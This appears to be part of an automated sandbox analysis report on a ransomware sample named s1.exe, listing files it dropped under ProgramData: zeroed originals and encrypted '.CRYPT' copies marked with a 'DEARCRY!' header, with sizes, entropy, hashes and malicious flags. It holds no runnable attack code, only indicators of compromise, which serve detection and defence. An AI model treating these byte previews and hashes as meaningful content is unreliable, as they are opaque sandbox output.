                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):19720
                                                              Entropy (8bit):7.990464389663431
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E89B70A50B5AC293E479E30F036AA0CE
                                                              SHA1:76CB7103337876F63794CCD91F825EA84ACE2993
                                                              SHA-256:90B102B6697BBBFB344846DEC041481B3053185CAEFE26668EC25D28808334AA
                                                              SHA-512:F882A8B4D31A216140CD0682BDD0A42244C6FF3982C909B63BC4597693B6C6B7ABFA4E5DACB4102350AC0DFB01E884BCCC39518F027D9CB93A550C449A30A0F2
                                                              Malicious:true
                                                              Preview: DEARCRY!....L..X...d.0o4.......EUn..r..........Ty_..v;.f....D...wl..f&....Ej...F..a....MP86..:..W.x.....^..../Y...].'........:...L..........4z[.?v....L.}.C..t...8.oQXQ.2.<WG.......G..z....eU.......`...4..w...b..T.D.#...Mx.........D:$...I=.g.......1=."|.....K....... @.L...X.L....3.z..0+..j......G.if............B+.$;ng3.......6....oO.?{.5.&jJ...w=.yA.\..@....w0._...}.........@....\*.E.y.3U.p..:;.H..qa4..D..H......>J$8.J.....-....!......]...`&..8.d&.......5t...R i.K..B(]".}.......b...$..r.RZ.......wf........V.~Jw.z|.m..1X...03....{.~,7`5WF......(.<..$...'......qT..;....$...Wz......0.P...m..0..C...x~7K{.....5..G6.:..uf...Q..[._......kOfq6...W....iY'B:(M..i..._..g#S.~......R.2..i...m/Z[...".V....=[..U.&).4.P..{...u...I...>.6.6oe7..3#.~(...{0..G......B..c=.X.(..o.=..N...."Y.....)5..7.?L7n.6......b.{. .......`\t.5.S.RJ.V&...I.....b.5!.p ...bq...{..&.Umox.....'.>...wc.3...K....\.'......sdz..m>t....?...H.B...Z..>.....~Z..*....w.u...:....
                                                              C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):180224
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AB429DCBA1DCDF2110F824AB144CD6D8
                                                              SHA1:3733FBAD9D55DC855D1A45BC935F720A2AFE4B8C
                                                              SHA-256:2B0302A341D7B231F0A6CF774F2B64819A16269842AE22B79EE8A0ABC1D74E34
                                                              SHA-512:E6F4113AC74F50EF82D1D8E0244FAEF96880B4E19EEDEC2CB47E14C8B90674DD110C30B4043CA70C80A2409C87D970F67EA46547C4772F2D9254557CD7ED3E97
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):183480
                                                              Entropy (8bit):7.998783019662095
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:BB31DADFBDDDF2C495116A58FF071052
                                                              SHA1:364F6291253B17390D0C3EFBEE1E421DF68440FA
                                                              SHA-256:550716280D81A7E2929C5BC881299EF5EC8E24A479C9C01A6ED127D370E184CB
                                                              SHA-512:530DD06D9BE0EAC72F0AE1A5B467AC9D79D0335FF6C3C7363C788BB582EBF1957BEF9E878F970623E809723959707C8C60E919DE0C22C387163DB804C3F59E4D
                                                              Malicious:true
                                                              Preview: DEARCRY!.....K.....p#s.?...aw..].........&...{.X..........sl....T....#.W..'s...Y.o.=.....a...}ZV..a......?Y..".S?.u.mG.8..of........`F.T..R..-6.nb.W.IF...k.p8.-3.K..6....` (.$n7..=..I:j......r!..R7..O.?...m[...A...~.z.....s...1.xsk.I^...%../.b........7......@......bg.~.t..H....;.;Is.U....*.?P.Jr..G.....y...eS8..w.(......O.D)a]^......);.~..Z.M.M.....|...CU..5.....0......a.D..{znj...e...........6R..:.6E.........|.T....*.+/>.6.R.....i... ....W....*F-.....V.<....U<[.L....{@..o......a}.h..y.z.Z. ...L#..k.....0......"..\.W.o...5.l...p....0l..>...4..Z.W.wy...{M~....[...UI..'.....;.O..7....E..d.ynz........}...P......vm...t.......\|_..j. ..*.!.Bv.d..9B..d7"....jt..n...*. S.R.c+...!.DJ...zB..(m.@B.8.T...........7DE<U$^..&.#..i.j}..12.w......=JY..'..0DZ.[,y..d....7'T.&..)00....H...W].@.,.z....ee...L.....f..].L......c....b........Q.v..uz.2.T#B..'..\.3.2.0..1..o.......{z..iS.W.E.$..k f.V.ni/5e........Xw.~f.U.'.z..F......fI.E..n..d....rY,\|H
                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):292104
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:77D6EB9573ABC41939DEF71B0E67A00C
                                                              SHA1:661E1465E5BC783E93F4E45849992168057C9B21
                                                              SHA-256:612B52F387EF5898BC0560684CD0EE49B5ADFA5E7E393E226EF4AE09CC62E394
                                                              SHA-512:B8319713278415C4CFCFDF3444657BAC3829A911903DAF633C369E9C5ADFE5107DB9C97CF3A8C49BF915B12F587DBD42DEFE2D34D538C93DFDF20E8D3DD6FA47
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):292392
                                                              Entropy (8bit):7.999466774691743
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E4206683761A2264FD8D45C740923678
                                                              SHA1:B33FD2676D06B11E834C8B6337688825A475245B
                                                              SHA-256:170A635D5F9834C37EB714EF71CB1A1933F012181A8094A099E3B8B38EB11F90
                                                              SHA-512:AC6F444B369F5450A410412124DA80E40588BE1E47BB4A1292C48A5A2BC7E160F6FF43D9F17437F6BAD856D7E8A3117D7AD3BB0AD365670290A948874CA396E4
                                                              Malicious:true
                                                              Preview: DEARCRY!......ea.. .i.~..$W..!g......s...`.%.R.d...U....~.W...!....]...o...u..b-.6..}A..D:./......I......v.....R .O..*.Y.%.AU..P...s.b....w.m...xx....q-@.L... .D..u.J.U2>.T.<..../....-..1A..J&?j.3]FD..m2"gN......g.Y...*..5^..X..`.. .h.....9\.zt.. .....u......%....+na...i7.....4u.+#.@7s..T.iM!.T.l(...Z..=.....If;.UD....+..!..~..o...Q..CF....C.9C..D..R.@..-.C.V..{mn.E.y...sy.{....\...K.a..&..O]}iZ...s...v.v...3J.E.H0.X....N.3...X.*c.}..j..>Mlz.)?...H....V..j.rl.M.s..w..BE....M.B...9....ubUA.E.e...=...%.#.u=.r... ..l.G.....|...z%3:).wWuA.ZXw.Q..8..b.#..b.....22.M..".ZYU>....@r....e...`.:..E/w..#7....>.i..."g../U......TJ...._.i....`r..F.....P..l.........C....x..0.s..A.a.mx2..1..GR..a............,f......t^:..[.}....ll.0...q.h....)c.....}.........0..1..6/.-n.w...[.....L'.O..oN..$.R.~.%..'.g.O.r...f...1'...y....bM{...NlP.y+..q.@...0..k...........^W.o..g.*.=....[..x....)....b(..Hx.|9.P.T...%Z.....N.c.2.V.f.....8L&3.X?..;-%!>z..=.N|
                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000003.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2340608
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93C423415364952663EE18BA6567674A
                                                              SHA1:133D753D1F4F552B145B0FEAB87E5F8562E9C98E
                                                              SHA-256:9DE8933A2389641BE6311BC696E113B5A6D4C4E6CD03FDF5FF62EC7FFACD4E9E
                                                              SHA-512:8FF9A3E75317853905ABDAAE0B943499E769ADE44DE9ED5472D7E10D27A3AAFDBC2FD5313E22A128E5D0B157F616462B9EBAC595D1E6E4361A0EED69B30B74BB
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000003.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2342976
                                                              Entropy (8bit):7.999929446871956
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D4BC49F5C33664570310C7005BF7D1C0
                                                              SHA1:5A037C9C1D001E4D244EE1AB9EDB5B254D9A81CE
                                                              SHA-256:E58D6634C88F82660625E4445184EBEBBA0F4D9DEA35B1D4A37D4FB8680B5FBE
                                                              SHA-512:367555F5086C55952BFC481A568140F5A07AE863F7ED9E8EE7C3A14928089B46CD93A14CCD96BBB211F22A0F7F9DD12E81AD3A885AA4026467C41734A578E561
                                                              Malicious:true
                                                              Preview: DEARCRY!....D......).........E}...Eq.>.E..BU....9.....V.....Q...}!..g............~.m....`....n.X.o...l.w..0)-.......SH....u..E].n.w>\D.?/.@.K...o&...W..e...*..l.r.....Q.L../6.K'..)'..%Qx]..a<!|...:w{.ko......MR.,.6.`.Z...1.F.7.t..1...3...?........$..nR.....v......(..Q..5..wD....]....|....Hf...|........%'i.=Q.Bo.......8.Q..k].7".....A.?.._)4.P2...(...Z.Y.)..m...en.I_]."......lL<W.{*.......&5.RW......_7.[.......0..6mZm..?........7.7u\.W/.L...{I..=....&-U\^8.z....m..c. N.A.@=^...+..f.....I...=q6=j.....o....I...Kb_h.......d.v......0..s[..g....[.(.eGQ....C..M[.Q.A`.A./...v...{...l...LY...>..tus:.G=.....~..N...4.2..%..z.4..N....~zb.E.....|d-.p.,M.1..A.?......Z.`Lx....W.>....j.i.....8...".N.....[.fO.*M..f..#.5....dA...%z.0..D..:#.^....k]?.mJQ....rL?\.O.w./[...>:......z...8.."x.^..9Yq..|-...Z..^...56.t..w.ZR>W+MI.5.N.j..A.. hO..K.+.?v..\s..h..R].l.^.c.....5.C..F.....T"....C @.xC.c.p...?..,.9....1..&...o/e?....|#........O..o..",>....7=v...Q..{Ek}.?A..
                                                              C:\ProgramData\Microsoft\Windows\Caches\{7897343F-C962-4E34-BF39-1C4346974441}.2.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9920
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A83A3FF2E2C686452A5E217F45F5A4DF
                                                              SHA1:DECF67CBF9753C65FE35AA6F38764F5D2E80FA42
                                                              SHA-256:1713A37BE42F2028E6E81A6A5D5DC7530367F544F2D0616E98A344E96C75BD9E
                                                              SHA-512:F507C44A80CDD013D75430092D4E8B312BEF38EFF7A129705755F36B4BF03A8A23C0965E412EFE6DF3A17046B96AD24DCC1596BB98E5E606A6B92ECEE29669CB
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\{7897343F-C962-4E34-BF39-1C4346974441}.2.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12224
                                                              Entropy (8bit):7.976662037636993
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2ACC1417F7E6A6D6FBA36D12D18502B9
                                                              SHA1:CE0BE2D2B6C1FAFA4839A8DD290E7DBFA1234723
                                                              SHA-256:1A497468A46DBC848530C4DDEF2EF40E9C1C8ADC5E1A575C4E652F98EF1F143B
                                                              SHA-512:AA0FD1F590755D15C4D8C132BB8D23341854BD4A41A523607746B20EE5800008AEEB2AEDF53C9BD96E9DFF8205ABA4EF2707F64C584FE076979E8F9B497DDE51
                                                              Malicious:false
                                                              Preview: DEARCRY!.......P...{....r.2.i/8E-.7.n.\.x..{p<.N.9b\b9%A.R.D$.4....I....P|.Rh.m..g......).U.3.C.d!.)&........gIE.j;."..&.Cg..w{.w....1P....|....B..>.....)p.d...l...AC\.l..{P..LH..P...&.........c.....}.k....[..R..c.W..0.f..[...Ki.>%.pN.N ......,q..G\j}..s'9..............Kd..W5.}Y...........g.....7;....Z..8.0.w.."..-\...i.]R.....U.......7...x.mU@[.O.nH4B...x..z.-.d.1.u....A..?,,..6..`.....0..m..%...).8nH.(......{[......y.$."..!.4..F..LR...2...^NM.[.d.6.*..Tw......x....t.B..l..+...Y...B&....DyjH0...g.*;.....Lno...#'...9"#i....!.V<.{.._.$......{.R.,.c..K.B^0.Q......F..:zcmg.cvg...&..lD...v..L,.G...._.j.u.jCl..E,5.Y.2.....H.c!)..@...A;%^.]Ta.R.G.U.(........=o....+...........3q.Y.8.......k.=.....)wO.:..>:...r...V..j;..F\..P.z...?*oq..J".P.5"....Z#.......-4.Q1.M5{..+..n...Lc..O.=z.2.!....1=....E....!..+K...:..,.....G.WpB..L6.+..r..1`;0.Q................".L5@C.....1.....o7....A...+kLKG.b,..C.F.aTG..p0.AU.5w...?O..5.....e1#...>.....&../.....!...#.C{
                                                              C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5050112
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2D31B666A97D93F0483244EDEC86FEEF
                                                              SHA1:FA153E33AE906D7F7E9129639BEDBDC77D1CE682
                                                              SHA-256:FD3F03B274C2D1DA18B69E68611C698276504E3D2E1DCF9B780A919CA577D466
                                                              SHA-512:D92EABBE1568E86449ADEF43127D7FA66CEB226128B569E37F060F4B2DD15AE75FC4056FF120872D194201DBB4FC8BD32CC918B68D2CACB3681ABDFE86E0BD73
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5052480
                                                              Entropy (8bit):7.999964850542857
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B4500332E8E93B6A72C63952C4132669
                                                              SHA1:E5ADB769978BFFEFD8D5D9AB9B938C3D5B2A29AE
                                                              SHA-256:CEA1E53443070FA8F4630508BDA7C6337E71BB159C3A69556720C51EA92440FC
                                                              SHA-512:CF1C72D5D9DF95656DE14CFE47AD5C5A0A204A99F024B4E1F0C41ED4E708D0AD5BD6A7251019DEF33707F7943317CC4602999E60B3519BD04AE0B5BDA9BC0D40
                                                              Malicious:true
                                                              Preview: DEARCRY!....J..t.,......o.....7........i.K.-;..p4_.s.k.1..S.lRI.r....B.P......n..>.gr.....Z._......m.,......+0.{....M6."....g..0.#.x.....o.e..3.^I mV....0<.......<.9.mf....S..$.$.......2....I......a!.UUq%M..$0.....v.Th.....}..o......6....^...>...O.).................z!?......y....5....).~5zOIyt...U.mEh.3....*....A...!..z.c..4.r..L.;....aJ.B.W..".T(..K>.$&...c..z|.t00<~l.R..f..N...H?..6wb...$...8.I_.."..j....Z.6lR..q.7b.s.r.o.:r..j..4j`..o......d...DnV.O~.....]...t.H...+]-..H.QUhr..r.nB@6.....7*..ED.....G..T......K...lD;.&U....g=^..=..FL.rf...k.R=...&...D.....).E{>..c...'.jnTn...p.>_~....{.L....S<e{p..:*.#....7^..?.G.,H.a.,....@.71...s..~T.r...uL.Xb4.O..........o#P.^.D...F....j.5".....?T..e.n..Orp5vJ..............#N5...-.l.7....*.......}h......[..Dj.;.P...,.V.<.....5.......B.M....8....U..e......d.M.#.L.j.|.....T.&R..i...k`K........k?.+mh#);.M7_.(.d.. [.].0..sJ.2}...a_.q...........hrj({.....U.......$..*...iA.(.B7.N.3...|D.|.k
                                                              C:\ProgramData\Microsoft\Windows\Caches\{FE0954D6-6B08-46D7-A05D-C49BC35F188E}.2.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9920
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A83A3FF2E2C686452A5E217F45F5A4DF
                                                              SHA1:DECF67CBF9753C65FE35AA6F38764F5D2E80FA42
                                                              SHA-256:1713A37BE42F2028E6E81A6A5D5DC7530367F544F2D0616E98A344E96C75BD9E
                                                              SHA-512:F507C44A80CDD013D75430092D4E8B312BEF38EFF7A129705755F36B4BF03A8A23C0965E412EFE6DF3A17046B96AD24DCC1596BB98E5E606A6B92ECEE29669CB
                                                              Malicious:false
